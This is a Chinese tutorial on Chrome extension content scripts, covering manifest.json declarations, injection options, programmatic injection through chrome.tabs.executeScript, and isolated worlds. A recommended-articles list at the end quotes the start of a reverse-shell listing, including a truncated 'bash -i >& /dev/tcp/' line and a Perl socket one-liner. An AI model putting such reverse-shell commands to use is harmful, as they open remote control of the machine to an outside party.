Chrome浏览器扩展开发系列之十二:Content Scripts
Content Scripts是运行在Web页面的上下文的JavaScript文件。通过标准的DOM,Content Scripts
可以操作(读取并修改)浏览器当前访问的Web页面的内容。
Content Scripts通常用于如下场景:
- 找到Web页面中的无效链接并修复
- 增大字体以突出显示
- 查找并处理DOM中的microformat
Content Scripts的使用限制条件:
- 不能访问如下chrome.* API
chrome.extensionAPI- chrome.i18n API
chrome.runtimeAPIchrome.storageAPI
- 不能访问Chrome扩展页面中定义的JavaScript变量和函数
- 不能访问Web页面或其他Content Scripts中定义的JavaScript变量和函数
乍一看,Content Scripts似乎无法与Chrome扩展的其他部分进行任何交互,但是通过Chrome的消息传递机制,Content Scripts可以间接地调用chrome.* API,访问Chrome扩展的数据,调用Chrome扩展的方法等,详见Chrome的消息传递部分。
此外,Content Scripts还可以通过“跨域XMLHttpRequest对象”访问Chrome扩展的其他部分。Content Scripts还可以与Web页面通过共享DOM进行通信。
在Chrome浏览器扩展中使用Content Scripts有两种方式。一种是在Chrome浏览器扩展中一直存在的Content Scripts,这需要在manifest.json文件中声明content_scripts如下:
{
"content_scripts": [
{
"matches": ["http://www.google.com/*"],
"css": ["mystyles.css"],
"js": ["jquery.js", "myscript.js"]
}
],
}
这种方式非常灵活,可以为Web页面注入多个JavaScript文件和CSS文件。
content_scripts中的属性说明如下:
|
名称 |
类型 |
必选/可选 |
说明 |
|
matches |
string数组 |
必选 |
Content Script注入的Web页面 |
|
exclude_matches |
string数组 |
可选 |
Content Script不注入的Web页面 |
|
include_globs |
string数组 |
可选 |
对于matches匹配的Web页面,进一步限定URL |
|
exclude_globs |
string数组 |
可选 |
对于matches匹配的Web页面,进一步排除URL |
|
match_about_blank |
boolean |
可选 |
是否注入Content Script到about:blank和about:srcdoc页面,默认false |
|
css |
string数组 |
可选 |
注入到匹配的Web页面中的CSS文件,顺序相关 |
|
js |
string数组 |
可选 |
注入到匹配的Web页面中的JS文件,顺序相关 |
|
run_at |
string |
可选 |
控制JS文件注入的时机,如"document_start", "document_end", "document_idle"。默认"document_idle"
|
|
all_frames |
boolean |
可选 |
控制JS文件是否在匹配的Web页面中的所有框架中运行。默认false表示只在顶层框架中运行 |
另一种是只在需要的时候(某事件发生)通过编程注入的Content Scripts,这需要在manifest.json文件中声明permissions如下:
{
"permissions": [
"tabs",
"http://www.google.com/*" //要注入Content Scripts的Web页面所在的域
],
}
这种方式能够针对个别Web页面有条件地注入Content Scripts。
声明必要的权限后,就可以在发生某些事件的时候动态注入必要的Content Scripts,示例如下:
chrome.browserAction.onClicked.addListener(
function(tab) { //tab对象表示当前(用户点击browser action的时候)处于活动状态的tab
chrome.tabs.executeScript({
//设置活动状态的tab显示的页面的document对象的属性
code: 'document.body.style.backgroundColor="red"'//通过JS代码
});
chrome.tabs.executeScript({file: "content_script.js"});//通过JS文件
});
Content Scripts的执行位于一个特殊的环境,我们称为isolated world。在这个环境中,Content Scripts能够访问当前Web页面的DOM,但是Content Scripts与当前Web页面自带的JavaScript变量和函数是不能直接互相访问的。而且被注入的每个Content Script之间也彼此独立,互不干扰。此外,对于一些共享的JavaScript对象,如window.onload事件对象,也都是彼此独立互不干扰的。
虽然Content Scripts与Web页面的JavaScript彼此独立,但是他们都能够访问Web页面的DOM,因此通过共享的DOM和消息机制,Content Scripts可以与Web页面的JavaScript进行通信。
另外,Content Scripts中要考虑安全问题,特别是Content Scripts通过跨域XMLHttpRequest对象获取的第三方结果,在作用于当前Web页面的时候要注意脚本注入攻击。
Content Scripts可以通过如下方式访问扩展中的其他文件:
//显示图片<extensionDir>/images/myimage.png
var imgURL = chrome.extension.getURL("images/myimage.png");
document.getElementById("someImage").src = imgURL;
Chrome浏览器扩展开发系列之十二:Content Scripts的更多相关文章
- Chrome浏览器扩展开发系列之十四
Chrome浏览器扩展开发系列之十四:本地消息机制Native messaging 时间:2015-10-08 16:17:59 阅读:1361 评论:0 收藏:0 ...
- Chrome浏览器扩展开发系列之十四:本地消息机制Native messagin
Chrome浏览器扩展开发系列之十四:本地消息机制Native messaging 2016-11-24 09:36 114人阅读 评论(0) 收藏 举报 分类: PPAPI(27) 通过将浏览器 ...
- Chrome浏览器扩展开发系列之十九:扩展开发示例
翻译总结了这么多的官网内容,下面以一款博主开发的“沪深股票价格变化实时追踪提醒”软件为例,介绍Chrome浏览器扩展程序的开发,开发环境为Eclipse IDE+Chrome Browser. “沪深 ...
- Chrome浏览器扩展开发系列之十六:扩展中可用的Chrome浏览器API
除了Chrome浏览器支持的chrome.* API之外,Chrome浏览器扩展还可以使用Chrome浏览器为Web页面或Chrome app提供的APIs.对于Chrome浏览器2支持的API,还可 ...
- Chrome浏览器扩展开发系列之十八:扩展的软件国际化chrome.i18n API
i18n是internationalization 的简写,这里将讨论软件国际化的问题.熟悉软件国际化的朋友应该知道,软件国际化要求,页面中所有用户可见的字符串都必须置于资源属性文件中.资源属性文件中 ...
- Chrome浏览器扩展开发系列之十五:跨域访问的XMLHttpRequest对象
XMLHttpRequest对象是W3C的标准API,用于访问服务器资源.XMLHttpRequest对象支持多种文本格式,如XML和JSON等.XMLHttpRequest对象可以通过HTTP和HT ...
- Chrome浏览器扩展开发系列之十四:本地消息机制Native messaging
通过将浏览器所在客户端的本地应用注册为Chrome浏览器扩展的“本地消息主机(native messaging host)”,Chrome浏览器扩展还可以与客户端本地应用之间收发消息. 客户端的本地应 ...
- Chrome浏览器扩展开发系列之十:桌面通知Notification
Desktop Notification也称为Web Notification,是在Web页面之外,以弹出桌面对话框的形式通知用户发生了某事件.Web Notification于2015.9.10成为 ...
- Chrome浏览器扩展开发系列之十一:NPAPI插件的使用
在Chrome浏览器扩展中使用HTML和JavaScript非常容易,但是如何重用已有的非JavaScript遗留系统代码呢?答案是将NPAPI插件绑定到Chrome浏览器扩展,从而实现在Chrome ...
随机推荐
- 记一次亲身踩过的hibernate的bug
记一次亲身踩过的hibernate的bug 在写实体类时,经常会对域增加校验,例如@NotNull表示哪个字段不能为空,昨天晚上调试代码,就遇到了问题, @Entity public class Ap ...
- Mac和Windows系统下Mysql数据库的导入导出
最近在构建数据库的过程中,需要将Mac os系统下的Mysql数据库导出成.sql文件,然后导入到windows系统下的Mysql中.经过学习总结出的步骤如下: 一.Mac os导出Mysql数据库 ...
- Elasticsearch与Solr
公司之前有个用Lucene实现的伪分布式项目,实时性很差,后期数据量逐渐增大的时候,数据同步一次需要十几小时.当时项目重构考虑到的是Solr和ES,我参与的是Solr技术的预研.因为项目实时性要求很高 ...
- 你为什么必须(从现在开始就)掌握linux
写在前面 在我看来,人人都应该学习linux,但这不是本文探讨的重点.本文主要从软件测试人员的角度谈谈学习和掌握linux的重要性.必要性.紧迫性. 另外: 这里所说的linux系统,是unix系统和 ...
- 观《IT培训行业揭秘》触发北大青鸟回忆
在园子里看到这篇文章<IT培训行业解密(六)>时,挺有感触,回忆顿时涌上心头: 我想起了当年单纯的我们因为各自的原因来到北大青鸟,或因前途迷茫而选择想找一条出路,或因父母的信息闭塞而想给我 ...
- js与jQuery对象相互转换
// jQuery-->JavaScript 两种方法: $(selector).get(index) ; $(selector)[index]; // JavaScript-->jQue ...
- 【JAVAEE学习笔记】hibernate04:查询种类、HQL、Criteria、查询优化和练习为客户列表增加查询条件
一.查询种类 1.oid查询-get 2.对象属性导航查询 3.HQL 4.Criteria 5.原生SQL 二.查询-HQL语法 //学习HQL语法 public class Demo { //基本 ...
- 【基础】C#异常处理的总结
一.异常处理的理解? 异常处理是指程序在运行过程中,发生错误会导致程序退出,这种错误,就叫做异常. 因此处理这种错误,就称为异常处理. 二.异常处理如何操作? C# 异常处理时建立在四个关键词之上的: ...
- 各种语言一句话反弹shell
Bash [不通用,跟linux发行版本有关,在ubuntu上测试成功] bash -i >& /dev/tcp/ >& Perl perl -e 'use Socket; ...
- [转]以新浪为例浅谈XSS
随着网络时代的飞速发展,网络安全问题越来越受大家的关注,而SQL注入的攻击也随着各种防注入的出现开始慢慢的离我们而去,从而XSS跨站脚本攻击也慢慢的开始在最近几年崛起,也应对了’没有绝对的安全’这句话 ...